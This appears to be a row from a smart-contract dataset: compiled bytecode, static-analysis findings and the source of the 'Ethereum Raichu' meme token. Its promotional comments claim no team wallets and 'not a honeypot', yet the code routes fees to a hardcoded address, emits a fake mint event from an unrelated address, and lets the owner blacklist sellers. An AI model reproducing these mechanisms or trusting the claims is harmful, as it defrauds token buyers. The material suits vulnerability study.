0090815260056020526040902042905560015b601154610100900460ff16158015611677575060115460ff165b80156116915750600a546001600160a01b03858116911614155b156117c1576116a142600f611f38565b6001600160a01b038516600090815260056020526040902054106117135760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e2565b600061171e306109ca565b905080156117aa5760115462010000900460ff16156117a157600d54600a5460649190611753906001600160a01b03166109ca565b61175d9190611f50565b6117679190611f6f565b8111156117a157600d54600a546064919061178a906001600160a01b03166109ca565b6117949190611f50565b61179e9190611f6f565b90505b6117aa816118a5565b4780156117ba576117ba47611820565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180357506001600160a01b03841660009081526004602052604090205460ff165b1561180c575060005b6118198585858486611a19565b5050505050565b6008546001600160a01b03166108fc61183a600284611f6f565b6040518115909202916000818181858888f19350505050158015611862573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187d600284611f6f565b6040518115909202916000818181858888f193505050501580156108d5573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e9576118e9611e6c565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119669190611ed0565b8160018151811061197957611979611e6c565b6001600160a01b03928316602091820292909201015260075461199f913091168461108d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d8908590600090869030904290600401611f91565b600060405180830381600087803b1580156119f257600080fd5b505af1158015611a06573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a258383611a3b565b9050611a3386868684611a82565b505050505050565b6000808315611a7b578215611a535750600b54611a7b565b50600c54601054611a6690610384611f38565b421015611a7b57611a78600582611f38565b90505b9392505050565b600080611a8f8484611b5f565b6001600160a01b0388166000908152600260205260409020549193509150611ab8908590611e55565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae8908390611f38565b6001600160a01b038616600090815260026020526040902055611b0a81611b93565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4f91815260200190565b60405180910390a3505050505050565b600080806064611b6f8587611f50565b611b799190611f6f565b90506000611b878287611e55565b96919550909350505050565b30600090815260026020526040902054611bae908290611f38565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bee57858101830151858201604001528201611bd2565b81811115611c00576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109c757600080fd5b8035611c3681611c16565b919050565b60008060408385031215611c4e57600080fd5b8235611c5981611c16565b946020939093013593505050565b60008060408385031215611c7a57600080fd5b50508035926020909101359150565b600060208284031215611c9b57600080fd5b8135611a7b81611c16565b600080600060608486031215611cbb57600080fd5b8335611cc681611c16565b92506020840135611cd681611c16565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1057600080fd5b823567ffffffffffffffff80821115611d2857600080fd5b818501915085601f830112611d3c57600080fd5b813581811115611d4e57611d4e611ce7565b8060051b604051601f19603f83011681018181108582111715611d7357611d73611ce7565b604052918252848201925083810185019188831115611d9157600080fd5b938501935b82851015611db657611da785611c2b565b84529385019392850192611d96565b98975050505050505050565b600060208284031215611dd457600080fd5b5035919050565b80151581146109c757600080fd5b600060208284031215611dfb57600080fd5b8135611a7b81611ddb565b60008060408385031215611e1957600080fd5b8235611e2481611c16565b91506020830135611e3481611c16565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6757611e67611e3f565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9457611e94611e3f565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee257600080fd5b8151611a7b81611c16565b600080600060608486031215611f0257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2d57600080fd5b8151611a7b81611ddb565b60008219821115611f4b57611f4b611e3f565b500190565b6000816000190483118215151615611f6a57611f6a611e3f565b500290565b600082611f8c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe15784516001600160a01b031683529383019391830191600101611fbc565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd1181c57fc3251f5cbef89f8f66caf48273be397c6960719e52866c1cea3b4664736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,159 |
0x0ee8eeb2abf7241d4485c9cb5bb9fa6fd7dc8ec0 | /**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
ADVERT! OFFICIAL CONTRACT WILL BE POSTED BEFORE LAUNCH! MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RaichuAD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"https://t.me/eRaichu - (raichucoin.com)";
string private constant _symbol = '$eRAICHU Ad';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0x69696902c8e3950Ca062527c61E23B8Aedb444cB).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e3565b610441565b6040516101789190612d82565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190612f1f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612894565b610470565b6040516101e09190612d82565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612806565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190612f94565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612960565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612806565b610766565b6040516102b19190612f1f565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612cb4565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612d9d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e3565b610970565b60405161035b9190612d82565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291f565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129b2565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612858565b6111fd565b6040516104189190612f1f565b60405180910390f35b606060405180606001604052806027815260200161365760279139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b6105398560405180606001604052806028815260200161362f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0f9092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612e7f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612e7f565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611b73565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c60565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612e7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f2465524149434855204164000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612e7f565b60405180910390fd5b60005b8151811015610ada57600160066000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613235565b915050610a26565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611cce565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612e7f565b60405180910390fd5b601160149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612eff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b919061282f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061282f565b6040518363ffffffff1660e01b8152600401610e02929190612ccf565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061282f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612d21565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c91906129db565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cf8565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612989565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e7f565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e3f565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea00000611fc890919063ffffffff16565b61204390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f29190612f1f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612edf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612dff565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190612f1f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612dbf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612e9f565b60405180910390fd5b6007600a819055506005600b8190555061159261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160057506115d061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4c57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116a95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561175d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117cb5750601160179054906101000a900460ff165b1561187b576012548111156117df57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182a57600080fd5b6021426118379190613055565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119265750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611992576007600a819055506008600b819055505b600061199d30610766565b9050601160159054906101000a900460ff16158015611a0a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a225750601160169054906101000a900460ff165b15611a4a57611a3081611cce565b60004790506000811115611a4857611a4747611b73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611afd57600090505b611b098484848461208d565b50505050565b6000